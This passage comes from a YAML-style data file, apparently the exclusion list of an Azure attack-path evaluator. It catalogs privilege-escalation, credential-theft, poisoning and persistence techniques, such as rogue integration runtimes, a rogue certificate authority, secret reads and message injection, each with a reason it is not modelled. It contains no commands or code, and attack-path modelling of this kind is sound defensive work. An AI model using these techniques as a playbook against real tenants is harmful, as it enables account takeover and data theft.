cache rule redirect + original_id: azure-v3-21-acr-cache-rule-redirect + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespushwrite + technique: ACR push/write passive consumers + original_id: azure-v3-22-acr-push-write-passive-consumers + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-image-builder-persistence.md#golden-image--supply-chain-persistence + technique: Gallery golden image + original_id: azure-v3-25-gallery-golden-image + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-vm-applications-vm-extensions--images + technique: Gallery image/application backdoor + original_id: azure-v3-26-gallery-image-application-backdoor + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#vm-application-pivoting + technique: VM Application version poison + original_id: azure-v3-27-vm-application-version-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#common-techniques + technique: AVD session-host configuration + original_id: azure-v3-28-avd-session-host-configuration + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + technique: Decrypt Automation credential/variable assets from runbook code + original_id: azure-automation-runbook-credential-assets + reason: The credential asset contents and target principal are unknown; the entry explicitly proposes an aggregate + conditional node without a verified usable credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + technique: Decrypt Automation credential assets holding user passwords from runbook code + original_id: azure-automation-runbook-credential-assets-user + reason: The credential asset contents and target principal are unknown; the entry explicitly proposes an aggregate + conditional node without a verified usable credential. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#cloud-shell-phishing + technique: Backdoor another user's persisted Cloud Shell home image + original_id: azure-cloudshell-home-image-backdoor + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#azure-cli-artifacts-in-persistent-storage + technique: Read another user's Azure CLI token cache from their persisted Cloud Shell home + original_id: azure-cloudshell-home-token-cache-read + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#rogue-self-hosted-integration-runtime-as-a-credential-relay + technique: Bootstrap Purview Data Source Admin and receive scan credentials on a rogue self-hosted integration + runtime + original_id: azure-purview-rogue-shir-scan-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#rogue-self-hosted-integration-runtime-node-synapse + technique: Register a rogue Synapse self-hosted integration runtime node and receive linked-service credentials + original_id: azure-synapse-rogue-shir-linked-service-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#stored-credential-disclosure-getcredentials + technique: Read credentials stored in an API Center security requirement + original_id: azure-apicenter-security-requirement-get-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionsaccesspolicieswrite---grant-a-workflow-use-of-unreadable-connection-credentials + technique: Authorize a controlled Standard workflow to use an existing V2 API connection + original_id: azure-logicapp-connection-access-policy-write + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionslistconnectionkeysaction---steal-an-api-connections-runtime-credential + technique: Export an API connection's runtime connection key + original_id: azure-logicapp-connection-list-connection-keys + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappslistsecretsaction + technique: Read the inline secrets of a Container App + original_id: azure-containerapp-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsread-microsoftappjobslistsecretsaction + technique: Read the inline secrets of a Container Apps Job + original_id: azure-containerapp-job-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsdaprcomponentslistsecretsaction + technique: Read the inline secrets of a Container Apps Dapr component + original_id: azure-containerapp-dapr-component-list-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssecretspeekaction + technique: Read the cleartext values of an ACA Sandbox secret + original_id: azure-containerapp-sandbox-secret-peek + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesconnectionslistsecretsaction-microsoftmachinelearningservicesworkspacesdatastoreslistsecretsaction + technique: Read secrets of Azure ML / Foundry connections and datastores + original_id: azure-ml-connection-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-shared-connection-credential-recovery + technique: Recover a Foundry account-level connection credential through AIServices data actions + original_id: azure-foundry-shared-connection-secrets + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceidentityproviderslistsecretsaction + technique: Read the Entra application secret of an APIM identity provider + original_id: azure-apim-identity-provider-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceauthorizationserverslistsecretsaction + technique: Read OAuth client secrets stored in APIM authorization servers / OpenID providers + original_id: azure-apim-oauth-server-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicenamedvaluesread--microsoftapimanagementservicenamedvalueslistvalueaction + technique: Read APIM Named Value secrets + original_id: azure-apim-named-value-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsaccesspolicieswrite-microsoftkeyvaultvaultsread + technique: Read Key Vault secrets/certificates containing service-principal credentials + original_id: azure-keyvault-secret-read-sp-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: Sign a service-principal client assertion with a vault-held certificate key + original_id: azure-keyvault-key-sign-sp-client-assertion + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsdeployaction--microsoftresourcesdeploymentswrite + technique: Resolve a Key Vault secret through an ARM template deployment + original_id: azure-keyvault-template-deployment-secret-reference + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriesintegrationruntimeslistauthkeysaction + technique: Register a rogue self-hosted integration runtime node and receive linked-service credentials + original_id: azure-datafactory-rogue-shir-linked-service-credentials + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#easy-auth-secret-theft--authentication-bypass + technique: Read the Easy Auth identity-provider client secret from app settings + original_id: azure-appservice-easyauth-client-secret + reason: The credential_stored_in_scope selector has no exact usable credential and identified target-principal + evidence enforcement for this technique; a secret read or arbitrary configuration change alone is not an established + principal escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + technique: Read a reusable credential stored in an availability test + original_id: azure-peaso-microsoftinsightswebtestsread + reason: "NEEDS SCHEMA: Exact credential in the stored request, its subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + technique: Recover a reusable principal credential from Logic App run output + original_id: azure-peaso-microsoftlogicworkflowsrunsactionsrequesthistoriesread + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + technique: Recover a reusable principal credential from Logic App run output + original_id: azure-peaso-microsoftlogicworkflowsrunsactionsread + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#trusted-ip-and-metadata-abuse + technique: Verified VM SSRF to managed identity + original_id: azure-vm-verified-ssrf-imds + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + technique: Read shared gallery image with verified cloud credential + original_id: azure-gallery-verified-image-secret + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + technique: Drive the agent's managed identity — instruction / tool-config injection (agents/threads, agents/write, + ...) + original_id: azure-audit-drive-the-agents-managed-identity-instruction-tool-config-injection-agen + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + technique: Custom container / build-service supply chain + original_id: azure-audit-custom-container-build-service-supply-chain + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + technique: 'Elastic Jobs: run arbitrary T-SQL through jobAgents/jobs/steps/write + executions/write' + original_id: azure-audit-elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite-executi + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + technique: Recover an Entra or managed-service credential from publicly served app configuration (SP) + original_id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-sp + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#source--secrets-served-as-static-content + technique: Recover an Entra or managed-service credential from publicly served app configuration (MI) + original_id: azure-v3-01-recover-an-entra-or-managed-service-credential-from-pu-mi + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-app-services-functions-unauth.md#publishingdeployment-credentials + technique: Use publicly leaked App Service publishing credentials to deploy code as the app + original_id: azure-v3-02-use-publicly-leaked-app-service-publishing-credentials + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + technique: Deploy an authorized managed-app template that grants a new identity privileged RBAC + original_id: azure-peaso-deploy-as-identity-inside-a-managed-app + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#common-techniques + technique: Overwrite an assigned App Attach image to reach launching users + original_id: azure-avd-appattach-share-overwrite-assigned-user + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#cross-subscription-not-cross-tenant-abuse-worth-noting + technique: Pull ACR image with verified principal credential + original_id: azure-acr-verified-image-secret + reason: This path relies on generic reviewed Status/VerifiedPreconditions/EvidenceRef flags; the evaluator has + no typed proof of the specific source capability, action, usable credential or target-identity gain. +- id: azure-aks-managedclusters-write-admin-group + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + technique: Add an Entra group the source belongs to as AKS cluster admin + reason: managedClusters/write alone does not establish cluster-admin. The evaluator does not verify that the source belongs to the chosen Entra group, that the cluster uses Entra integration, or that the source can retrieve a user kubeconfig and reach the API. +- id: azure-entraid-graph-delegatedpermissiongrant-allprincipals + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#delegatedpermissiongrantreadwriteall + technique: Graph DelegatedPermissionGrant.ReadWrite.All creates tenant-wide delegated consent + reason: Consent creation alone does not yield a user token. Every target user must authenticate to an attacker-controlled client; the evaluator does not verify that event or a bound token, so any-user matching is overbroad. +- id: azure-entraid-custom-security-attribute-abac-dataplane + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Assign custom security attributes to satisfy a principal-attribute ABAC condition (data plane) + reason: The evaluator finds a principal-attribute ABAC condition but does not solve whether the source can set a satisfying value in the permitted attribute set; the target permission gain is unproven. +- id: azure-entraid-custom-security-attribute-abac-scope-owner + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Assign custom security attributes to satisfy a principal-attribute ABAC condition on role-assignment rights + reason: The evaluator finds a principal-attribute ABAC condition but does not solve whether the source can set a satisfying value in the permitted attribute set; the target RBAC gain is unproven. +- id: azure-entraid-cba-rogue-certificate-authority + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#rogue-certificate-authority-in-the-tenant-cba-trust-store + technique: Trust an attacker certificate authority for certificate-based authentication + reason: A trusted attacker CA does not by itself prove impersonation of every tenant user. The evaluator does not verify each target username/certificateUserIds binding, CBA method scope, or a usable target-bound certificate. + +# Source-to-target joins that require typed current outcome proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#abusing-sync_-deprecated + source_revision: 658a097d5c + technique: Directory Synchronization Accounts role holder resets user passwords through the sync API + original_id: azure-entra-hybrid-directory-sync-role-password-reset + reason: 'NEEDS SCHEMA: holding Directory Synchronization Accounts does not prove a currently accepted password-hash sync action against a particular user, successful reset, usable new credential, or bypass of target sign-in controls. The documented cloud-only reset behavior is historical and version-dependent.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#principals-generated + source_revision: 658a097d5c + technique: Directory Synchronization Accounts role holder adds credentials or privileges to service principals (historical) + original_id: azure-entra-hybrid-directory-sync-role-sp-credentials + reason: 'NEEDS SCHEMA: the historical role alone does not prove a current executable credential-add or app-role-grant action against a particular service principal, successful change, usable credential, or new effective permission.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#fleet-rce-via-platform-scripts-system-over-graph + source_revision: 171e422 + technique: Push a SYSTEM script or app to managed devices and take over their users' sessions + original_id: azure-intune-managed-device-user-code-execution + reason: 'NEEDS SCHEMA: permission to deploy a device script does not establish that the deployment reached a particular device, that the named user had a live or cached session there, or that a usable user token or credential was captured.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#credential-access--filevault--bitlocker-keys--laps-passwords + source_revision: 658a097d5c + technique: Read Windows LAPS passwords and take over the users of those devices + original_id: azure-intune-laps-local-admin-device-user + reason: 'NEEDS SCHEMA: device/user association and LAPS read permission do not prove an enabled current LAPS backup, returned usable local-admin password, device reachability, or a captured session for the named cloud user.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrwrite---upstream-repoint-event-exfil--mi-token-ssrf + source_revision: a66f094ede + technique: Repoint a SignalR upstream or Web PubSub event handler to capture its managed-identity token + original_id: azure-signalr-upstream-managed-identity-token + reason: 'NEEDS SCHEMA: upstream/event-handler write permission does not prove the exact configuration, accepted token audience, triggered event, delivered managed-identity token, or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#managed-identity-attach-via-signalrwrite-or-webpubsubwrite + source_revision: a66f094ede + technique: Attach a user-assigned identity to SignalR or Web PubSub and capture its upstream token + original_id: azure-signalr-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: identity attach plus upstream configuration rights do not prove a successful identity attachment, accepted token audience, triggered event, delivered token, or new action for that particular user-assigned identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 658a097d5c + technique: Repoint a published AVD RemoteApp to run attacker commands in assigned users' sessions + original_id: azure-avd-application-write-launching-users + reason: 'NEEDS SCHEMA: assignment to an application group does not prove the named user launched the changed RemoteApp, had a live or cached session, or that the attacker captured a usable user token or credential.' + +# Consumer poisoning and message injection without exact object-to-identity execution proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#write-only-secret-poisoning + source_revision: a66f094ede + technique: Poison a Key Vault secret read by a privileged workload + original_id: azure-keyvault-secret-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#poison-a-privileged-consumer-with-microsoftstoragestorageaccountsblobservicescontainersblobswrite + source_revision: a66f094ede + technique: Poison blobs consumed by a privileged service + original_id: azure-storage-blob-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreskeyvalueswrite + source_revision: a66f094ede + technique: Poison App Configuration key-values read by a privileged application + original_id: azure-appconfig-keyvalue-poisoning-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#conditional-escalation-through-a-downstream-consumer + source_revision: a66f094ede + technique: Inject queue messages into a privileged consumer + original_id: azure-queue-message-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#shared-access-key-disclosure-and-event-injection + source_revision: a66f094ede + technique: Inject Event Grid events into a privileged handler + original_id: azure-eventgrid-event-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-dataactions-microsoftservicebusnamespacesmessagessendaction + source_revision: a66f094ede + technique: Inject Service Bus messages into a privileged consumer + original_id: azure-servicebus-message-injection-consumer + reason: 'NEEDS SCHEMA: the source can alter or send data, but the current selector joins every candidate managed identity with a broad read DataAction. Require the exact written object or message, a proven consumer binding and trigger, observed execution, and a newly obtained token or newly authorized action for the named identity.' + +# Identity attachment or workspace metadata without observed execution/token proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#notebook--spark-job-rce-as-the-submitting-identity--token--key-vault-theft + source_revision: 171e422 + technique: Run a Fabric notebook or Spark job definition as the workspace identity + original_id: azure-fabric-notebook-workspace-identity + reason: 'NEEDS SCHEMA: workspace identity metadata and notebook control do not prove a successful scheduled or user-triggered run as that exact identity, token acquisition, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#fabric-administrator-entra--tenant-takeover--org-wide-scanner-recon + source_revision: 171e422 + technique: Fabric Administrator takes over a workspace and runs code as its workspace identity + original_id: azure-fabric-administrator-workspace-identity + reason: 'NEEDS SCHEMA: Fabric Administrator privileges and workspaceIdentity ID do not prove a qualifying execution trigger, successful run as the particular workspace identity, or usable token and new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#pivoting + source_revision: 658a097d5c + technique: AAD DC Administrators member takes over Domain Services-joined VMs and their managed identities + original_id: azure-entra-domain-services-dc-admins-vm-identity + reason: 'NEEDS SCHEMA: AAD DC Administrators membership, an historical domain-join extension, and an attached VM identity do not prove current VM control, code execution, or a captured token for that identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaeditoraction--datasource-proxy-ssrf-to-mi + source_revision: a66f094ede + technique: Query Azure data as the Grafana workspace identity through data sources + original_id: azure-grafana-datasource-workspace-identity + reason: 'NEEDS SCHEMA: editor/datasource access may permit a bounded query, but no exact protected target scope, successful token disclosure, or newly authorized action for the attached managed identity is established.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanawrite--mi-attach--remove-the-service-account-persistence-boundary + source_revision: a66f094ede + technique: Attach a user-assigned identity to a Grafana workspace and query as it + original_id: azure-grafana-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: grafana/write can attach a user-assigned identity, but attachment alone does not prove a usable datasource or query that obtains its token and a new target action.' + +# Workload or bounded-token effects without exact identity execution and gain proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: a66f094ede + technique: Submit an Azure ML job to a compute target with a managed identity + original_id: azure-ml-jobs-write-compute-identity + reason: 'NEEDS SCHEMA: jobs/write and attached compute identity inventory do not prove exact compute selection, accepted job execution, identity token use, or newly authorized target action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesjobswrite-and-target-read-permissions + source_revision: 171e422 + technique: Submit an Azure ML serverless job running as the workspace user-assigned identity + original_id: azure-ml-jobs-write-serverless-workspace-uami + reason: 'NEEDS SCHEMA: a workspace UAMI and jobs/write do not prove serverless compute selection, a successful job using that exact UAMI, obtained token, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#dump-workspace-linked-resource-keys + source_revision: a66f094ede + technique: Poison Azure ML job code or images with the workspace linked-resource keys + original_id: azure-ml-workspace-linked-keys-workload-poisoning + reason: 'NEEDS SCHEMA: workspace linked-resource keys alone do not establish the exact poisoned artifact, consumer binding, rerun, identity token, or newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#compute-as-identity-rce-marquee-privesc + source_revision: 658a097d5c + technique: Submit code to existing managed-identity-bearing ML compute (marquee source) + original_id: azure-ml-compute-code-execution-marquee + reason: 'NEEDS SCHEMA: broad jobs/write, experiments/runs/write, or notebooks/vm/write alternatives plus an attached identity do not prove the exact submitted code, compute host, successful execution, or identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#hijack-an-existing-image-template + source_revision: 171e422 + technique: Recreate and run an existing image template with an injected customizer + original_id: azure-imagebuilder-template-hijack-existing + reason: 'NEEDS SCHEMA: attached_to_service for imageTemplates cannot distinguish the template service UAMI from the vmProfile build-VM UAMI; exact template mutation, queued build, execution, and reached identity are unverified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsjobsimportswrite--bulk-graph-import-mass-poisoning--mi-confused-deputy-read + source_revision: 171e422 + technique: Use an import job to read blobs with the Digital Twins instance identity + original_id: azure-digitaltwins-import-job-identity-read + reason: 'NEEDS SCHEMA: import-job write may induce only a partial blob read by the service identity; no exact token or newly authorized managed-identity action is proven.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstanceswrite--managed-identity-attach-confused-deputy-foothold + source_revision: 171e422 + technique: Attach a user-assigned identity to a Digital Twins instance and import with it + original_id: azure-digitaltwins-assign-identity-import + reason: 'NEEDS SCHEMA: attaching a UAMI to Digital Twins and submitting an import do not prove a token was obtained for that exact identity or that the source gained its permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistsasaction + source_revision: 171e422 + technique: Mint a Maps SAS backed by the account's user-assigned identity + original_id: azure-maps-listsas-attached-identity + reason: 'NEEDS SCHEMA: listSas/action may return bounded Maps SAS authority, but it does not grant the account attached managed identity. Require exact SAS claims, usable credential, prior absence, and newly allowed Maps action on a bounded authority target.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#dump-cluster-gateway-admin-credentials + source_revision: 171e422 + technique: Read the cleartext HDInsight gateway (Ambari) credentials + original_id: 